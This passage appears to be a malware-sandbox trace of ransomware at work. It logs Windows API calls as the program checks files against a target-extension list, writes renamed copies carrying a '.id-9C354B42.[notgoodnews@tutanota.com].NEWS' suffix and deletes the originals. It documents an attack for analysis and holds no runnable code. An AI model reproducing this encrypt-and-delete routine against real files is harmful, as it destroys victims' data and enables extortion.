Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0071.000] lstrlenW (lpString=".doc") returned 4 [0071.000] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.000] lstrlenW (lpString=".docx") returned 5 [0071.000] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.000] lstrlenW (lpString=".pdf") returned 4 [0071.000] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.000] lstrlenW (lpString=".xls") returned 4 [0071.000] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.000] lstrlenW (lpString=".xlsx") returned 5 [0071.000] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.000] lstrlenW (lpString=".ppt") returned 4 [0071.000] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0071.000] lstrlenW (lpString=".zip") returned 4 [0071.000] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.000] lstrlenW (lpString=".rar") returned 4 [0071.000] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.000] lstrlenW (lpString=".bz2") returned 4 [0071.001] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.001] lstrlenW (lpString=".7z") returned 3 [0071.001] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0071.001] lstrlenW (lpString=".dbf") returned 4 [0071.001] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0071.001] lstrlenW (lpString=".1cd") returned 4 [0071.001] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0071.001] lstrlenW (lpString=".jpg") returned 4 [0071.001] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.001] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0071.001] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0071.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.002] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=3957) returned 1 [0071.002] CloseHandle (hObject=0x1e8) returned 1 [0071.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0071.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.002] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.002] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0071.009] GetLastError () returned 0x0 [0071.009] ReadFile (in: hFile=0x1e8, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0xf75, lpOverlapped=0x0) returned 1 [0071.012] WriteFile (in: hFile=0x1a0, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0071.014] ReadFile (in: hFile=0x1e8, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.014] WriteFile (in: hFile=0x1a0, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xea, lpOverlapped=0x0) returned 1 [0071.014] SetEndOfFile (hFile=0x1a0) returned 1 [0071.026] CloseHandle (hObject=0x1a0) returned 1 [0071.026] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.026] SetEndOfFile (hFile=0x1e8) returned 1 [0071.027] CloseHandle (hObject=0x1e8) returned 1 [0071.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.028] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0071.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0071.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0071.028] lstrlenW (lpString=".doc") returned 4 [0071.028] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.028] lstrlenW (lpString=".docx") returned 5 [0071.028] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.028] lstrlenW (lpString=".pdf") returned 4 [0071.028] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.028] lstrlenW (lpString=".xls") returned 4 [0071.029] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.029] lstrlenW (lpString=".xlsx") returned 5 [0071.029] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.029] lstrlenW (lpString=".ppt") returned 4 [0071.029] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0071.029] lstrlenW (lpString=".zip") returned 4 [0071.029] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.029] lstrlenW (lpString=".rar") returned 4 [0071.029] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.029] lstrlenW (lpString=".bz2") returned 4 [0071.029] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.029] lstrlenW (lpString=".7z") returned 3 [0071.029] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0071.029] lstrlenW (lpString=".dbf") returned 4 [0071.029] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0071.029] lstrlenW (lpString=".1cd") returned 4 [0071.029] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0071.029] lstrlenW (lpString=".jpg") returned 4 [0071.029] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0071.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0071.030] lstrlenW (lpString=".doc") returned 4 [0071.030] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.030] lstrlenW (lpString=".docx") returned 5 [0071.030] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.030] lstrlenW (lpString=".pdf") returned 4 [0071.030] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.030] lstrlenW (lpString=".xls") returned 4 [0071.030] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.030] lstrlenW (lpString=".xlsx") returned 5 [0071.030] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.030] lstrlenW (lpString=".ppt") returned 4 [0071.030] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0071.030] lstrlenW (lpString=".zip") returned 4 [0071.030] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.030] lstrlenW (lpString=".rar") returned 4 [0071.030] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.030] lstrlenW (lpString=".bz2") returned 4 [0071.030] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.030] lstrlenW (lpString=".7z") returned 3 [0071.030] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0071.030] lstrlenW (lpString=".dbf") returned 4 [0071.031] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0071.031] lstrlenW (lpString=".1cd") returned 4 [0071.031] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0071.031] lstrlenW (lpString=".jpg") returned 4 [0071.031] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.031] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0071.031] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0071.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.180] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=33277) returned 1 [0071.180] CloseHandle (hObject=0x1ec) returned 1 [0071.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0071.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.180] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.181] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0071.181] GetLastError () returned 0x0 [0071.181] ReadFile (in: hFile=0x1ec, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x81fd, lpOverlapped=0x0) returned 1 [0071.184] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x8200, lpOverlapped=0x0) returned 1 [0071.187] ReadFile (in: hFile=0x1ec, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.187] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0071.187] SetEndOfFile (hFile=0x1e4) returned 1 [0071.187] CloseHandle (hObject=0x1e4) returned 1 [0071.187] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.188] SetEndOfFile (hFile=0x1ec) returned 1 [0071.189] CloseHandle (hObject=0x1ec) returned 1 [0071.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.190] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0071.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0071.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0071.190] lstrlenW (lpString=".doc") returned 4 [0071.190] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.190] lstrlenW (lpString=".docx") returned 5 [0071.190] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.190] lstrlenW (lpString=".pdf") returned 4 [0071.190] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.190] lstrlenW (lpString=".xls") returned 4 [0071.190] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.190] lstrlenW (lpString=".xlsx") returned 5 [0071.190] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.190] lstrlenW (lpString=".ppt") returned 4 [0071.191] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0071.191] lstrlenW (lpString=".zip") returned 4 [0071.191] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.191] lstrlenW (lpString=".rar") returned 4 [0071.191] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.191] lstrlenW (lpString=".bz2") returned 4 [0071.191] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.191] lstrlenW (lpString=".7z") returned 3 [0071.191] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0071.191] lstrlenW (lpString=".dbf") returned 4 [0071.191] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0071.191] lstrlenW (lpString=".1cd") returned 4 [0071.191] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0071.191] lstrlenW (lpString=".jpg") returned 4 [0071.191] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0071.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0071.191] lstrlenW (lpString=".doc") returned 4 [0071.192] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.192] lstrlenW (lpString=".docx") returned 5 [0071.192] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.192] lstrlenW (lpString=".pdf") returned 4 [0071.192] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.192] lstrlenW (lpString=".xls") returned 4 [0071.192] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.192] lstrlenW (lpString=".xlsx") returned 5 [0071.192] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.192] lstrlenW (lpString=".ppt") returned 4 [0071.192] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0071.192] lstrlenW (lpString=".zip") returned 4 [0071.192] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.192] lstrlenW (lpString=".rar") returned 4 [0071.192] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.192] lstrlenW (lpString=".bz2") returned 4 [0071.192] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.192] lstrlenW (lpString=".7z") returned 3 [0071.192] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0071.192] lstrlenW (lpString=".dbf") returned 4 [0071.192] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0071.193] lstrlenW (lpString=".1cd") returned 4 [0071.193] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0071.193] lstrlenW (lpString=".jpg") returned 4 [0071.193] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.193] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0071.193] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0071.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.195] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1347) returned 1 [0071.195] CloseHandle (hObject=0x1ec) returned 1 [0071.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0071.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.195] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.195] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0071.201] GetLastError () returned 0x0 [0071.201] ReadFile (in: hFile=0x1ec, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x543, lpOverlapped=0x0) returned 1 [0071.204] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x550, lpOverlapped=0x0) returned 1 [0071.205] ReadFile (in: hFile=0x1ec, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.206] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xea, lpOverlapped=0x0) returned 1 [0071.206] SetEndOfFile (hFile=0x1e4) returned 1 [0071.206] CloseHandle (hObject=0x1e4) returned 1 [0071.206] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.206] SetEndOfFile (hFile=0x1ec) returned 1 [0071.208] CloseHandle (hObject=0x1ec) returned 1 [0071.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.208] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0071.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0071.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0071.209] lstrlenW (lpString=".doc") returned 4 [0071.209] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.209] lstrlenW (lpString=".docx") returned 5 [0071.209] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.209] lstrlenW (lpString=".pdf") returned 4 [0071.209] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.209] lstrlenW (lpString=".xls") returned 4 [0071.209] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.209] lstrlenW (lpString=".xlsx") returned 5 [0071.209] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.209] lstrlenW (lpString=".ppt") returned 4 [0071.209] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0071.209] lstrlenW (lpString=".zip") returned 4 [0071.209] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.209] lstrlenW (lpString=".rar") returned 4 [0071.209] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.210] lstrlenW (lpString=".bz2") returned 4 [0071.210] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.210] lstrlenW (lpString=".7z") returned 3 [0071.210] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0071.210] lstrlenW (lpString=".dbf") returned 4 [0071.210] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0071.210] lstrlenW (lpString=".1cd") returned 4 [0071.210] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0071.210] lstrlenW (lpString=".jpg") returned 4 [0071.210] 